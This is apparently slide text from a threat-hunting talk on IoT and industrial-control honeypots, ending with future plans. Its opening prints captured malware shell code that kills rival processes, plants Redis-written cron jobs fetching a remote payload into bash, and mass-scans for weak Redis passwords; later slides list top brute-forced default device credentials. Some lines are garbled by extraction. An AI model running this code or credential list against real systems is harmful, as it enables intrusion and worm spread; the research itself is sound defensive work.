netstat -antp | grep ':45700' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep ':2222' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep ':9999' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep ':20580' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep ':13531' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep '23.94.  }080' | awk '{print $7}' | sed -e 's/\/.*//g' | xargs kill -9
netstat -antp | grep '134.12.  }8080' | awk '{print $7}' | sed -e 's/\/.*//g' | xargs kill -9

rand=$(seq 0 255 | sort -R | head -nl)
rand2=$(seq 0 255 | sort -R | head -nl)

#if ps aux | grep -i '[a]liyun'; then
# (wget -q -O - http://  wnload/uninstall.sh||curl -s ad/uninstall.sh)|bash; lwp-downloa
ninstall.sh
# (wget -q -O - http: ownload/quartz_uninstall.sh||curl -s com/download/quartz_uninstall.sh)|bas
all.sh; bash /tmp/uninstall.sh
# pkill aliyun-service
# rm -rf /etc/init.d/agentwatch /usr/sbin/aliyun-service
# rm -rf /usr/local/aegis*
# systemctl stop aliyun.service
# systemctl disable aliyun.service
# service bcm-agent stop
# yum remove bcm-agent -y
# apt-get remove bcm-agent -y
#elif ps aux | grep -i '[y]unjing'; then
# /usr/local/qcloud/stargate/admin/uninstall.sh
# /usr/local/qcloud/YunJing/uninst.sh
# /usr/local/qcloud/monitor/barad/admin/uninstall.sh
#fi
#sleep 1
#echo "DER Uninstalled"

chattr -ai /tmp/dbused

if [ -s /usr/bin/ifconfig ];
then
    range=$(ifconfig | grep "BROADCAST\|inet" | grep -oP 'inet\s+\K\d{1,3}\.\d{1,3}' | grep -v 127 | grep -v inet6 |grep -v 255 | head -nl)
else
    range=$(ip a | grep "BROADCAST\|inet" | grep -oP 'inet\s+\K\d{1,3}\.\d{1,3}' | grep -v 127 | grep -v inet6 |grep -v 255 | head -nl)
fi
```

Unknown Malware Playground


```
apt install redis-tools -y >/dev/null
yum install redis-tools -y >/dev/null
echo 'config set dbfilename "backup.db"' > /tmp/.dat
echo 'save' >> /tmp/.dat
echo 'flushall' >> /tmp/.dat
echo 'set backup1 "\n\n\n*/2 * * * * wget -q -O - http://$url/xms | bash -sh\n\n"' >> /tmp/.dat
echo 'set backup2 "\n\n\n*/3 * * * * curl -fsSL http://$url/xms | bash -sh\n\n"' >> /tmp/.dat
echo 'set backup3 "\n\n\n*/4 * * * * lwp-download http://$url/xms /tmp/xms; bash /tmp/xms; rm -rf /tmp/xms\n\n"' >> /tmp/.dat
echo 'set backup4 "\n\n\n*/5 * * * * echo $base | base64 -d | bash -\n\n"' >> /tmp/.dat
echo 'config set dir "/var/spool/cron/"' >> /tmp/.dat
echo 'config set dbfilename "root"' >> /tmp/.dat
echo 'save' >> /tmp/.dat
echo 'config set dir "/var/spool/cron/crontabs"' >> /tmp/.dat
echo 'save' >> /tmp/.dat
sleep 1
rm -rf /tmp/redis_vuln.txt
nohup /tmp/masscan 10.0.0.0/8 172.16.0.0/12 192.168.0.0/16 --max-rate 100000 -p6379 --wait 0 | awk '{print $6}' > /tmp/redis_vuln.txt
cat /tmp/redis_vuln.txt | while read line; do
cat /tmp/.dat | timeout 3 redis-cli -h $line &>/dev/null &
cat /tmp/.dat | timeout 3 redis-cli -h $line -a redis &>/dev/null &
cat /tmp/.dat | timeout 3 redis-cli -h $line -a root &>/dev/null &
cat /tmp/.dat | timeout 3 redis-cli -h $line -a oracle &>/dev/null &
cat /tmp/.dat | timeout 3 redis-cli -h $line -a password &>/dev/null &
cat /tmp/.dat | timeout 3 redis-cli -h $line -a p@aaw0rd &>/dev/null &
cat /tmp/.dat | timeout 3 redis-cli -h $line -a qwerty &>/dev/null &
cat /tmp/.dat | timeout 3 redis-cli -h $line -a qwerty123 &>/dev/null &
cat /tmp/.dat | timeout 3 redis-cli -h $line -a abcl23 &>/dev/null &
cat /tmp/.dat | timeout 3 redis-cli -h $line -a abcl23! &>/dev/null &
cat /tmp/.dat | timeout 3 redis-cli -h $line -a 123456 &>/dev/null &
cat /tmp/.dat | timeout 3 redis-cli -h $line -a admin &>/dev/null &
cat /tmp/.dat | timeout 3 redis-cli -h $line -a mysql &>/dev/null &
done < /tmp/redis_vuln.txt
```

1-Day/Unknown Vulnerability Hunting




1-Day/Unknown Vulnerability Hunting

WEB Remote File Inclusion /etc/passwd




1-Day/Unknown Vulnerability Hunting

RDP Microsoft Remote Desktop Services Remote Code Execution Vulnerability (CVE-2019-0708)



1-Day/Unknown Vulnerability Hunting

MALWARE VPNFilter-Connected Activity




Attack Trend Analysis as an Early Warning System

No.	Credentials	Count	Note	No.	Credentials	Count	Note
1	[admin/admin]	547,672,193		26	[default/OxhlwSG8]	406,363	HiSilicon IP Camera
2	[nproc/nproc]	10,370,936		27	[guest/guest]	399,855	
3	[1/1]	4,395,542		28	[default/]	395,341	
4	[root/root]	3,806,346		29	[root/default]	389,838	
5	[root/admin]	2,625,499		30	[daemon/daemon]	370,784	
6	[user1/]	2,490,896		31	[root/7ujMko0admin]	370,197	Dahua IPCam
7	[user/user]	2,318,470		32	[root/Zte521]	358,254	ZTE routers
8	[support/support]	1,836,877	Solace PubSub+	33	[root/password]	352,916	
9	[0101/0101]	1,581,673		34	[admin/1234]	297,504	
10	[default/default]	864,820		35	[root/1234]	293,879	
11	[root/matrix]	811,410		36	[root/7ujMko0vizxv]	284,787	Dahua IPCam
12	[root/tsgoingon]	743,482	Mirai Variant Use	37	[root/hi3518]	277,281	Hisilicon
13	[root/vizxv]	736,758	Dahua IPCam	38	[admin/password]	265,645	
14	[cisco/cisco]	706,357		39	[root/1111]	252,358	
15	[root/taZz@23495859]	694,077	Mirai Variant Use	40	[pi/raspberry]	250,669	
16	[root/solokey]	693,685		41	[root/ipcam_rt5350]	225,890	
17	[0/0]	648,647		42	[pi/raspberryraspberry993311]	224,223	
18	[root/xc3511]	607,536	Xiong Mai Technology IP cam, DVR, NVR from China	43	[root/5up]	223,319	
19	[admin/]	511,599		44	[root/hunt5759]	222,769	
20	[root/123456]	488,919		45	[root/1001chin]	222,125	Hikvision and Mirai Variant Use
21	[telnetadmin/telnetadmin]	478,956	贝尔E-140W-P	46	[root/xmhdipc]	220,350	Xiongmai Tech
22	[guest/12345]	451,022		47	[root/anko]	216,127	ANKO Teck
23	[root/t0talc0ntr0l4!]	448,493	Control4 Smart Home	48	[root/GM8182]	203,077	Grain Media
24	[root/12345]	415,380		49	[root/jvbzd]	198,154	
25	[default/S2fGqNFs]	408,724	HiSilicon IP Camera	50	[admin/admin]	190,757	


Attack Trend Analysis as an Early Warning System

SSH




Attack Trend Analysis as an Early Warning System

Telnet




Attack Trend Analysis as an Early Warning System

HTTP




The Threat of Next Generation


Ethernet/IP




Siemens S7



MELSEC-Q




ORMON FINS




The Threat of Next Generation

IEC 104



Modbus/TCP



The screenshot shows a network traffic analysis tool interface. At the top, there's a toolbar with various icons for navigation and analysis. Below that, a table lists several Modbus/TCP packets. The selected packet (No. 216) is highlighted, and its details are shown in a tree view below the table.

No.	Time	Source	Destination	Protocol	Length	Info
161...	1299.92...	81.41.1...	139.59.	Modbus/TCP	77	Query: Trans:
168...	1355.98...	83.41.1...	139.59.	Modbus/TCP	77	Query: Trans:
173...	1405.00...	81.41.1...	139.59.	Modbus/TCP	77	Query: Trans:
216...	1859.14...	81.41.1...	139.59.	Modbus/TCP	77	Query: Trans:
251...	2177.82...	81.41.1...	139.59.	Modbus/TCP	77	Query: Trans:
254...	2218.39...	81.41.1...	139.59.	Modbus/TCP	77	Query: Trans:

Packet Details (No. 216):

- Frame 21634: 77 bytes on wire (616 bits), 77 bytes captured (616 bits)
- Ethernet II, Src:
- Internet Protocol
- Transmission Control Protocol, Src Port: 61040, Dst Port: 502, Seq: 1, Ack: 1, Len: 11
- Modbus/TCP
 - Transaction Identifier: 23111
 - Protocol Identifier: 0
 - Length: 5
 - Unit Identifier: 0
- Modbus
 - .010 1011 = Function Code: Encapsulated Interface Transport (43)
 - MEI type: Read Device Identification (14)
 - Read Device ID: Basic Device Identification (1)
 - Object ID: VendorName (0)


At the bottom, there's a hex dump showing the raw data of the packet: 00 03 b9 c8 00 00 01 01 08 0a 01 87 d7 59 5a e2 ...YZ.



The Next Steps for Our Next Generation IIoT Threat-Hunting System

The Next Steps for Our Next Generation IIoT Threat-Hunting System

- Bring the complete industry 4.0 environment into our hunting system either after it's fully virtualized or via paravirtualization



Short-term perspective



Long-term perspective

High Interaction Hunting Engine Siemens S7

TXOne Networks Inc.

The Next Step of Next Generation IIoT Threat-Hunting System

- The next generation of our hunting engine will coexist with the existing IoT hunting engine, fully covering the scope of IIoT
- For attack traffic and malicious programs, we will conduct an in-depth study of the various applications of machine learning on traffic analysis and malware analysis, further advancing the degree of automated analysis





Closing Remarks

Closing Remarks

- An automated threat hunting system is an excellent tool for effectively hunting and suppressing the continuous expansion of IoT and IIoT threats
- These 6 examples of trends from our hunt are only a small part of the resources available in the hunting system – there is still more treasure waiting for us to discover
- The next generation of threats, IIoT threats, is coming, and early preparation is the way to deal with it

Thanks for Listening

Mars Cheng (@marscheng_)

Patrick Kuo (@patrickkuo_t)

Acknowledgements

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